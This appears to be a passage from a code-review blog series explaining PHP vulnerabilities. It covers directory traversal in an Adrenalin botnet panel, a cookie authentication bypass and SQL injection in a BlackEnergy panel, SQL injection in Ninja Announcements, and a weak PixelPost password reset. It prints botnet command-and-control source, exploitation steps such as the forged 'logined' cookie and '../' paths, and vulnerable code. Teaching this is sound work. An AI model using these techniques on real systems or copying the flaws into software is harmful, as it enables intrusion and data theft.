."<td colspan=\"8\" class=\"bhead\"><div align=\"center\">Select Results</div></td>"
."</tr>"
."<tr class=\"file2\">"
."<td width=\"21\" bgcolor=#FCFCFC>Add</td>"
."<td width=\"26\" nowrap=\"nowrap\" bgcolor=#FCFCFC>Land</td>"
."<td width=\"82\" bgcolor=#FCFCFC nowrap=\"nowrap\">IP</td>"
."<td width=\"93\" bgcolor=#FCFCFC nowrap=\"nowrap\">Rep. Count total </td>"
."<td width=\"56\" bgcolor=#FCFCFC nowrap=\"nowrap\">Last Report</td>"
."<td width=\"100\" bgcolor=#FCFCFC nowrap=\"nowrap\">First Report</td>"
."<td width=\"40\" bgcolor=#FCFCFC nowrap=\"nowrap\">Bot Ver.</td>"
."<td width=\"44\" bgcolor=#FCFCFC nowrap=\"nowrap\">CompID</td>"
."</tr>";  
?>

State –Defense in Depth

Details

Affected Software:Adrenalin C&C

Fixed in Version:Not Patched

Issue Type:Defense in Depth

Original Code:Found Here

Details

First,I’ll talk about a couple of interesting things about this bug that cannot be seen from just the code sample. When I received this sample,it was encoded with Zend Guard. While the Zend Guard encoding was easily defeated,it is interesting to see that these malware authors are interested in protecting their intellectual property. Once again,the malware industry doesn’t get a magical free pass on all the things traditional development shops face. Monetizing,feature requests,protecting IP,and even security problems are issues all dev shops face.


After the code was decoded,it was quickly apparent that this file contained several routines for dealing with uploding files to the web C&C. I pulled out a routine that I thought was particularly interesting for this week’s code sample. The sample takes several variables from user/attacker controlled parameters (lines 6,8,and 9). One of these variables ($logfolder) is passed directly to fopen(). Fopen is an interesting API. In this code sample,fopen() is intended to open a file from the local filesystem. There is no directory traversal check for $logfolder,so the attacker is free to pass a simple ../../../ in the $logfolder variable and control where the txt file gets written to. In addition to directory traversal bugs,fopen() can actually open more than just local files. fopen()supports a number of schemes such as:http://,ftp://,php://,ssh2://,and several others. A full list of protocols supported by fopen() can be found here:http://www.php.net/manual/en/wrappers.php. Because the $logfolder variable is the first variable passed to fopen(),the attacker can supply any of these protocols to fopen(). Using these protocols,the attacker can cause the C&C to make arbitrary requests to external servers. Full compromise of theC&C web server would be difficult,but information leakage can definitely be accomplished.

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
...snip...
function srch( )
{
  set_time_limit( 0 );
  $word = $_REQUEST['word'];
  $word2 = $word;
  $logfolder = $_REQUEST['infile'];
  $arch = $_REQUEST['xxx'];
  if ( $word != "" )
  {
    $word = explode( "\r\n", $word );
    $wordc = count( $word );
    $hl9 = fopen( $logfolder."/.out.txt", "w" );
    fclose( $hl9 );
    $dir = opendir( $logfolder );
    $finded = "";
    while ( $file = readdir( $dir ) )
    {
      if ( !( $file != "." ) || !( $file != ".." ) || !( $file != ".out.txt" ) || !( substr( $file, -4 ) == ".txt" ) )
      {
        $hl = fopen( $logfolder."/".$file, "rb" );
        $readsz = filesize( $logfolder."/".$file );
        if ( $readsz < 1041076 )
        {
          $readszR = $readsz;
        }
        else
        {
          $readszR = 1041076;
          $readsz -= 1041076;
        }
        while ( $data = fread( $hl, $readszR ) )
        {
          $pos = 0;
          $posC = 0;
          $posS = 0;
          while ( $pos = strpos( $data, "[IP:", $pos ) )
          {
            $pos = strpos( $data, "]", $pos ) + 1;
            if ( $pos < $posC )
            {
              break;
            }
            else
            {
              $posC = $pos;
              $lent = $pos - $posS;
              unset( $cutblock );
              $cutblock = substr( $data, $posS, $lent );
              $rd = 0;
              for ( ; $rd < $wordc; ++$rd )
              {
              }
              if ( !( $word[$rd] != "" ) || !( $ftmp = strpos( $cutblock, $word[$rd], 0 ) ) )
              {
                $hl9 = fopen( $logfolder."/.out.txt", "ab+" );
                fwrite( $hl9, $cutblock );
                fclose( $hl9 );
              }
            }
            unset( $rd );
            unset( $lent );
            unset( $ftmp );
            unset( $cutblock );
            $posS = $pos;
          }
          unset( $data );
          if ( $readsz < 1041076 )
          {
            $readszR = $readsz;
          }
          else
          {
            $readszR = 1041076;
            $readsz -= 1041076;
          }
        }
        unset( $data );
        fclose( $hl );
      }
    }
    if ( 0 < filesize( $logfolder."/.out.txt" ) )
    {
      $hl9 = fopen( $logfolder."/.out.txt", "r" );
      $finded = fread( $hl9, filesize( $logfolder."/.out.txt" ) );
      fclose( $hl9 );
      if ( $arch == 1 )
      {
        header( "Content-type:application/octet-stream" );
        $cl_Zip = new cl_zip( );
        $cl_Zip->onaddfile( $finded, "log".time( ).".txt" );
        header( "Content-Length:".strlen( $cl_Zip->ondumpfileout( ) ) );
        header( "Content-disposition:attachment;filename=log".time( ).".zip" );
        echo $cl_Zip->ondumpfileout( );
        exit( );
      }
      return $finded;
    }
  }
}
...snip...
?>

Feathers

It is not only fine feathers that make fine birds.
Aesop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<?php

// Gettin all information
$id = $_GET['id'];
$httpport = $_GET['httpport'];
$socksport = $_GET['socksport'];
$uptimem = $_GET['uptimem'];
$uptimeh = $_GET['uptimeh'];
$param = $_GET['param'];
$ver = $_GET['ver'];
$uid = $_GET['uid'];
$wm = $_GET['wm'];
$lang = $_GET['lang'];
//$ssip = $_GET['ssip'] ;
$ip = getenv("REMOTE_ADDR");
$real_ip = getenv("HTTP_X_FORWARDED_FOR");
$browser = getenv("HTTP_USER_AGENT");

//Security check
if($ver == ''){
 exit;
}

include_once('./mysqllog.php');

//Replace symbols
$id = ereg_replace("<","&#8249",$id);
$id = ereg_replace(">","&#8250",$id);
$id = ereg_replace("\"","&#8221",$id);
$id = ereg_replace(";","",$id);
$id = ereg_replace("%","",$id);
$param = ereg_replace("<","&#8249",$param);
$param = ereg_replace(">","&#8250",$param);
$param = ereg_replace("\"","&#8221",$param);
$param = ereg_replace(";","",$param);
$param = ereg_replace("%","",$param);



$date = date("Y-m-d");
$time=date("H:i:s");
list($year, $month, $day) = explode('-', $date);
$sql_uptime = "$uptimeh:$uptimem";

if($real_ip != "") {
 $fp = fsockopen($real_ip,$socksport, $errno, $errstr, 30);
 if(!$fp) {
  $okk = false;  
 } else {
  $okk = true;
  
  $link = mysql_connect($mysql_host, $mysql_login, $mysql_pass) or die("Could not connect:" . mysql_error());
  mysql_select_db($mysql_db, $link) or die("Could not select:" . mysql_error());
  $query = 'SELECT COUNT(*) FROM socks where uid = "'. $uid .'"';
  $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
  $count = mysql_result($result, 0);
  if ($count == 0) {
   $query = 'INSERT INTO socks VALUES ("'.$uid.'","'. $real_ip . '","'. $httpport .'","'. $socksport . '","'. $sql_uptime .'","'. mktime() .'","0")';
   $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
  } else {
   $query = 'UPDATE socks SET  `ip` = "'. $real_ip .'",`hport` = "'. $httpport .'",`sport` = "'. $socksport .'",`uptime` = "'. $sql_uptime .'",`update` = "'. mktime() .'"WHERE `uid` = "'.$uid.'"';
   $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
   $query = 'COMMIT';
   $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
  }
  mysql_close($link);

  //$fh=fopen("logs/P.$day.$month.txt","a+");
  //ip:hport:sport:bport:uptime:uid
  //fputs($fh,"$real_ip@$httpport@$socksport@$param@$uptimeh:$uptimem@$uid\r\n");
  //fclose($fh);
  send_command();
  exit;
 }
}

if( ($ip != "") && ($ip != $real_ip) ) {
 $fp = fsockopen($ip,$socksport, $errno, $errstr, 30);
 if(!$fp) {
  send_command();
  exit;
 } else {
  $link = mysql_connect($mysql_host, $mysql_login, $mysql_pass) or die("Could not connect:" . mysql_error());
  mysql_select_db($mysql_db, $link) or die("Could not select:" . mysql_error());
  $query = 'SELECT COUNT(*) FROM socks where uid = "'. $uid .'"';
  $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
  $count = mysql_result($result, 0);
  if ($count == 0) {
   $query = 'INSERT INTO socks VALUES ("'.$uid.'","'. $ip . '","'. $httpport .'","'. $socksport . '","'. $sql_uptime .'","'. mktime() .'","0")';
   $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
  } else {
   $query = 'UPDATE socks SET  `ip` = "'. $ip .'",`hport` = "'. $httpport .'",`sport` = "'. $socksport .'",`uptime` = "'. $sql_uptime .'",`update` = "'. mktime() .'"WHERE `uid` = "'.$uid.'"';
   $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
   $query = 'COMMIT';
   $result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());
  }
  mysql_close($link);

  //$fh=fopen("logs/P.$day.$month.txt","a+");
  //ip:hport:sport:bport:uptime:uid
  //fputs($fh,"$ip@$httpport@$socksport@$param@$uptimeh:$uptimem@$uid\r\n");
  //fclose($fh);
  send_command();
  exit;
 }
}

send_command();
exit;

function send_command() {
$cmdname="logs/cfg.dat";
$cmduid="logs/uid.ini";

if(filesize("$cmduid") == 0) {
 $fh=fopen($cmdname,"r");
 $cfgdata=fread($fh,filesize($cmdname));
 fclose($fh);
 echo "CMND$cfgdata";
 exit;
}

$array=file($cmduid);
$kolvo=count($array);
for($ei=0;$ei<$kolvo;$ei++) {
 $llen=strlen($array[$ei]);
 $llen=$llen-2;
 $array[$ei]=substr($array[$ei],0,$llen);
 if($array[$ei] == $uid) {
  $fh=fopen($cmdname,"r");
  $cfgdata=fread($fh,filesize($cmdname));
  fclose($fh);
  echo "CMND$cfgdata";
  exit;
 }
}
echo "CMND\r\n";
}

?>

Rabbit –Auth Bypass and SQLi

Details

Affected Software:BlackEnergy C&C

Fixed in Version:Not Patched

Issue Type:Authentication Bypass and SQL Injection

Original Code:Found Here

Details

A couple of interesting bugs here. As Abe astutely pointed out,pretty much all of the PHP at the end of the code sample is vulnerable to SQL injection. Veteran Spot the Vuln readers can easily spot the tainted $_POST and $_GET parameters being passed directly into dynamically built SQL statements. This obviously results in compromise of the backend database and the application. I’ve highlighted the SQL injection points in the code sample below. The injection points are fairly obvious.

Now,onto the more interesting bug. In order to reach the code paths that are vulnerable to SQL injection,we must first “login” to the application. The “login” routine is contained in lines 11-25.

Later in the code,$logined is checked before allowing the user to reach the vulnerable code paths. That code can be found on lines 79-96. So let’s work backwards here. We see obvious SQL injection bugs in several places,but this code paths can only be reached if the $logined variable is true (line 95). The value for the $logined variable is controlled by the following else statement:

1
2
3
4
5
6
7
else {
    $logined = @$_COOKIE['logined'];
    if ($logined === $pass)
    {
       $logined = true;
    }
 }

Looking at the code above,we see that the application is taking the value for a Cookie named “logined” and assigning that value to variable $logined. The application then checks to see if $logined is equal to the password for the registered user ($logined === $pass). If $logined === $pass,then the application sets the $logined value to true. In this example,the developer missed a critical case. The client (browser) is free to tamper any part of the HTTP request,including the COOKIE values sent to the application. All we need to do is issue a HTTP request with a cookie of:logined = true;<- - any value for the logined cookie will work.

If we pass Cookie:logined = true;in our HTTP request,our tainted cookie value will be assigned to the $logined variable. You can see this in line 20 of the code sample. Although we will fail the $logined === $pass check,the application fails to clear the $logined variable value so our tainted value remains. Later in the code,$logined is checked… if it is true the application assumes we are logged in and gives us access to the vulnerable code paths. We can now exploit the SQL injection vulnerabilities and extract the real $pass value because in order for the comparison to be done,the value must have been stored in cleartext in the database.

There you go,authentication bypass + SQL injection for Blackenergy C&C :)

Developers Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?

 include "common.php";

 $luser = @$_POST['user'];
 $lpass = @$_POST['pass'];
 $login = @$_POST['login'];

 $logined = false;

 if ($login)
 {
    Sleep(1);
    if ($luser == $user && $lpass == $pass)
    {
      setcookie("logined", $pass);
      header("location:index.php");
    }
 } else {
    $logined = @$_COOKIE['logined'];
    if ($logined === $pass)
    {
       $logined = true;
    }
 }

?>
<html>
<head>
<STYLE type=text/css>
BODY{
    BACKGROUND:#666666;
    FONT:11px Verdana,Arial
}
P{
    FONT:10pt Verdana,Arial;
    COLOR:#000000;
    TEXT-ALIGN:justify
}
TD{
    FONT:8pt Verdana,Arial;
    COLOR:#000000
}
A{
    COLOR:#000000;
    TEXT-DECORATION:underline
}
A.nav{
    COLOR:#000000;TEXT-DECORATION:none
}
A:hover{
    BACKGROUND:silver;TEXT-DECORATION:underline overline
}
INPUT,SELECT,TEXTAREA{
    FONT-SIZE:8pt;FONT-FAMILY:Verdana,Helvetica;
    border:1px solid silver;
    color:#606060;
    background-color:#222222;
    margin-top:0px;
    margin-bottom:0px;
}
.HEAD TD{
    BACKGROUND:silver;TEXT-ALIGN:center;FONT-WEIGHT:bold
}
.SLIST TD{
    BACKGROUND:#888888
}
</STYLE>
</head>
<body>

<script>
function wnd( url )
{
    window.open( url,"","statusbar=no,menubar=no,toolbar=no,scrollbars=yes,resizable=no,width=600,height=400");
}
</script>

<?

   if (!$logined)
   {

?>

<form action=index.php method=POST>
<table>
<tr><td>user:</td><td><input type=text name=user></td></tr>
<tr><td>pass:</td><td><input type=password name=pass></td></tr>
<tr><td></td><td><input type=submit name=login value=login></td></tr>
</table>
</form>

<?
     exit;
 }

 switch (@$_GET['d'])
 {
 case "add":
     if (empty($_POST['url']))
   break;

     if (isset($_POST['country'])) $_POST['country'] = strtoupper($_POST['country']);

     $sql = "INSERT INTO `files`
         (`url`,`dnum`,`country`)
         VALUES
         ('{$_POST['url']}','".intval($_POST['dnum'])."','{$_POST['country']}')
     ";

     mysql_query($sql);
     header ("location:index.php");
     break;

 case "del":
     if (!isset($_GET['id']))
        break;
    
  $sql = "DELETE FROM `files` WHERE `id`='{$_GET['id']}'";
     mysql_query($sql);
     header ("location:index.php");
     break;
 }
 
 if (isset($_POST['opt']))
 {
  if (!isset($_POST['opt']['spoof_ip']))
   $_POST['opt']['spoof_ip'] = 0;

  foreach (array_keys($_POST['opt']) as $k)
   mysql_query("REPLACE INTO `opt` (`name`,`value`) VALUES ('$k','{$_POST['opt'][$k]}')");

  header("location:index.php");
 }

 $bopt = array();

 $r = mysql_query("SELECT * FROM `opt`");
 while ($f = mysql_fetch_array($r))
  $bopt[$f['name']] = $f['value'];

?>

Third –SQL Injection

Details

Affected Software:Ninja Announcements

Fixed in Version:1.3

Issue Type:SQL Injection

Original Code:Found Here

Details

Lots of potential issues here,but we’ll focus on what was patched. Here we have a basic SQL injection vulnerability. The bug is the most simple example of tracing a variable from assignment to usage. On line 54,the $ninja_annc_id is assigned a value directly from the user/attacker controlled $_REQUEST[‘ninja_annc_id’]. The very next line,the developer uses the tainted $ninja_annc_id to string build a SQL statement.

The developers addressed this issue by moving the dynamic SQL statement to a prepared SQL statement. Prepared statements are the preferred method for dealing with SQL requests that could potentially contain tainted values.

Developers Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php
...snip...
 //This if() statement handles user input from the edit section.
 if($_REQUEST['submitted'] == 'yes'){ // BEGIN submit handling if()

  $ninja_annc_id = $_REQUEST['ninja_annc_id'];
 
  $ninja_annc_begindate = $_REQUEST['begindate'];
  $ninja_annc_begintimehr = $_REQUEST['begintimehr'];
  $ninja_annc_begintimemin = $_REQUEST['begintimemin'];
  $ninja_annc_begintimeampm = $_REQUEST['begintimeampm'];
  
  $ninja_annc_enddate = $_REQUEST['enddate'];
  $ninja_annc_endtimehr = $_REQUEST['endtimehr'];
  $ninja_annc_endtimemin = $_REQUEST['endtimemin'];
  $ninja_annc_endtimeampm = $_REQUEST['endtimeampm'];
  
  $ninja_annc_begindate = $ninja_annc_begindate.' '.$ninja_annc_begintimehr.':'.$ninja_annc_begintimemin.$ninja_annc_begintimeampm;
  $ninja_annc_enddate = $ninja_annc_enddate.' '.$ninja_annc_endtimehr.':'.$ninja_annc_endtimemin.$ninja_annc_endtimeampm;
  
  //echo "begin before ".$ninja_annc_begindate;
  //echo "end before ".$ninja_annc_enddate;
  
  $ninja_annc_message = stripslashes($_REQUEST['content']);
  $ninja_annc_active = 1;
  $ninja_annc_location = $_REQUEST['ninja_annc_location'];
  
  $ninja_annc_begindate = strtotime($ninja_annc_begindate);
  $ninja_annc_enddate = strtotime($ninja_annc_enddate);
  
  //echo "begin after ".$ninja_annc_begindate;
  //echo "end after ".$ninja_annc_enddate;
  
  if($_REQUEST['ignoredates'] == "checked"){
   $ninja_annc_begindate = 0;
   $ninja_annc_enddate = 0;
  }
  
  if($_REQUEST['ninja_annc_id'] == 'new'){
   $rows_affected = $wpdb->insert( $ninja_annc_table_name, array( 'begindate' => $ninja_annc_begindate, 'enddate' => $ninja_annc_enddate, 'message' => $ninja_annc_message, 'active' => '0', 'location' => $ninja_annc_location ) );
  }else{
   $wpdb->update( $ninja_annc_table_name, array( 'begindate' => $ninja_annc_begindate, 'enddate' => $ninja_annc_enddate, 'message' => $ninja_annc_message, 'location' => $ninja_annc_location ), array( 'id' => $ninja_annc_id ));
  }
  
  echo "<script language='javascript'>window.location = '".$admin_url."'</script>";
 } // END submit handling if()
 
 //This if...else() statement handles the nuts and bolts of our html output.
 //Eventually it will be replaced by a switch().
 //Flow goes:Edit Announcement? ->New Announcement? ->Table.
 //This part of our If...else statement creates the editing HTML
 if($_REQUEST['action'] == 'edit') { //BEGIN edit handling if()
  
  $ninja_annc_id = $_REQUEST['ninja_annc_id'];
-  $ninja_annc_row = $wpdb->get_row("SELECT * FROM $ninja_annc_table_name WHERE id = $ninja_annc_id", ARRAY_A);
+  $ninja_annc_row = $wpdb->get_row(
+  $wpdb->prepare( "SELECT * FROM $ninja_annc_table_name WHERE id = %d", $ninja_annc_id), ARRAY_A);

  $ninja_annc_id = $ninja_annc_row['id'];
  $ninja_annc_location = $ninja_annc_row['location'];
  $ninja_annc_message = stripslashes($ninja_annc_row['message']);
  $ninja_annc_begin = $ninja_annc_row['begindate'];
  $ninja_annc_end = $ninja_annc_row['enddate'];
  $rightnow = current_time("timestamp");
  
  if($ninja_annc_end != 0){
   $ninja_annc_begindate = date("m/d/Y", $ninja_annc_begin);
   $ninja_annc_begintimehr =  date("g", $ninja_annc_begin);
   $ninja_annc_begintimemin =  date("i", $ninja_annc_begin);
   $ninja_annc_begintimeampm =  date("a", $ninja_annc_begin);
   
   $ninja_annc_enddate = date("m/d/Y", $ninja_annc_end);
   $ninja_annc_endtimehr = date("g", $ninja_annc_end);
   $ninja_annc_endtimemin = date("i", $ninja_annc_end);
   $ninja_annc_endtimeampm = date("a", $ninja_annc_end);
   
  }else{
   $ninja_annc_ignore = 1;
   $ninja_annc_begindate = date("m/d/Y", $rightnow);
   $ninja_annc_enddate = date("m/d/Y", $rightnow);
  }
  
  //$ninja_annc_begindate = $ninja_annc_begindate.' '.$ninja_annc_begintimehr.':'.$ninja_annc_begintimemin.$ninja_annc_begintimeampm;
  
  //echo $ninja_annc_begindate;
  wp_tiny_mce( false,  // true makes the editor "teeny"
  array(
   "theme_advanced_path" => false
  )
  );
  wp_tiny_mce_preload_dialogs();
  ?>
    <div class="wrap">
 <div id="ninja_annc_options_edit"class="icon32"><br></div>
 <h2 id="opener">Edit Announcement - ID:<?php echo $ninja_annc_id;?></h2>
  <form name=""action=""method="post">
  <input type="hidden"name="submitted"value="yes">
  <input type="hidden"name="ninja_annc_id"value="<?php echo $ninja_annc_id;?>">
  Ignore Dates:<input type="checkbox"name="ignoredates"id="ignoredates"value="checked"<?php if($ninja_annc_ignore == 1){ echo "checked";}?>><br>
  Begin Date:<input type="text"class="date"name="begindate"id="begindate"value="<?php echo $ninja_annc_begindate;?>"<?php if($ninja_annc_ignore == 1){ echo "style='background-color:gray' disabled";}?>>
  Time:
  <select name="begintimehr"id="begintimehr"class="time"<?php if($ninja_annc_ignore == 1){ echo "style='background-color:gray' disabled";}?>>
   <?php
    $x = 1;
    while($x <= 12){
     echo "<option";
     if($x <= 9){
      echo "value = '0$x'";
     }else{
      echo "value = '$x'";
     }
     if($ninja_annc_begintimehr == $x){
      echo "selected";
     }elseif($x == 12 && $ninja_annc_ignore == 1){
      echo "selected";
     }
     echo ">$x</option>";
     $x++;
    }
   
   ?>
...snip...
?>

Action –Defense in Depth

Details

Affected Software:PixelPost

Fixed in Version:?

Issue Type:Insecure password reset functionality

Original Code:Found Here

Details

This week’s bug is more of a design issue as opposed to an implementation issue. I actually first heard about this code from SkullSecurity’s excellent articles on “Hacking Crappy Password Resets” articles published in late March. SkullSecurity does an excellent job of explaining that line 31(the line that does the actual password generation) is full of bad security design. First,the password reset code is using the MD5() function in PHP. MD5() takes a string and returns a MD5 hash of that string. In this password reset code,we see that we are hashing the value of:‘time’. rand(1,16000). SkullSecurity astutely points out that the password reset code is using the string ‘time’,NOT the function time() which would return the number of seconds since epoch. The string ‘time’ has a random number between 1 and 16000 appended to it and is passed to MD5(). Assuming rand() generates a truly random number between 1 and 16000,we only have 16000 possible combinations for the newly reset password. Unfortunately,in many circumstances,rand() doesn’t generate a truly random number. Many times,rand() will use system time as a seed value and produce a number that is predictable. In many cases,it may be possible to predict or leak system time for the machine generating the random password. Stefan Esser wrote an excellent article on the challenges of generating random numbers in PHP which covers many of these scenarios.

So what should the author do? Change ‘time’ to time()? Even if the author changed the string ‘time’ to the function time(),time() in PHP only returns seconds since epoch time. If an attacker can leak system time,they’ll still be able to predict the password reset value…

Developers Solution

<?php...snip...// forgot password?if(isset($_GET['x']) &&$_GET['x']=='passreminder'){echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><title>$admin_lang_pw_title</title><meta http-equiv="Content-Type"content="text/html;charset=utf-8"/></head><body><p style="border:solid 2px;padding:5px;color:red;font-weight:bold;font-size:11px;margin-left:auto;margin-right:auto;margin-top:10%;font-family:verdana,arial,sans-serif;text-align:center;">';if ($cfgrow['admin']!= $_POST['user']){echo "<span class=\"confirm\">$admin_lang_pw_wronguser</span><br />";echo "<br /><a href='index.php'>$admin_lang_pw_back</a></body></html>";die()}if ($cfgrow['email']== ""){echo "<span class=\"confirm\">$admin_lang_pw_noemail</span><br />";echo "<br /><a href='index.php' >$admin_lang_pw_back </a></body></html>";die()}if (strtolower($cfgrow['email'])==strtolower($_POST['reminderemail'])){// generate a random new pass$user_pass = substr( MD5('time' . rand(1,16000)),0,6);$query = "update ".$pixelpost_db_prefix."config set password=MD5('$user_pass') where admin='".$cfgrow['admin']."'";if(mysql_query($query)){$subject = "$admin_lang_pw_subject";$body = "$admin_lang_pw_text_1 \n\n";$body .= "$admin_lang_pw_usertext ".$cfgrow['admin']."\n";$body .= "$admin_lang_pw_mailtext ".$cfgrow['email']."\n\n";$body .= "$admin_lang_pw_newpw $user_pass";$body .= "\n\n$admin_lang_pw_text_7".$cfgrow['siteurl']."admin $admin_lang_pw_text_8";$headers = "Content-type:text/plain;charset=UTF-8\n";$headers .= "$admin_lang_pw_text_2 <".$cfgrow['email'].">\n";$recipient_email = $cfgrow['email'];if (mail($recipient_email,$subject,$body,$headers)){echo "$admin_lang_pw_text_3".$cfgrow['email']}else{echo "$admin_lang_pw_text_3"}echo "<br /><a href='index.php' >$admin_lang_pw_back </a></body></html>";die()}else{$dberror = mysql_error();echo "$admin_lang_pw_text_5 ".$dberror ."$admin_lang_pw_text_5 ";echo "<br /><a href='index.php' >$admin_lang_pw_back </a></body></html>";die()}}else{echo "<span class=\"confirm\">$admin_lang_pw_notsent</span><br />";echo "<br /><a href='index.php'>$admin_lang_pw_back </a></body></html>";die()}// end else (strtolower($cfgrow['email'])==strtolower($_POST['reminderemail']) &$cfgrow['email']!= "")} // end if($_GET['x']=='passreminder')?>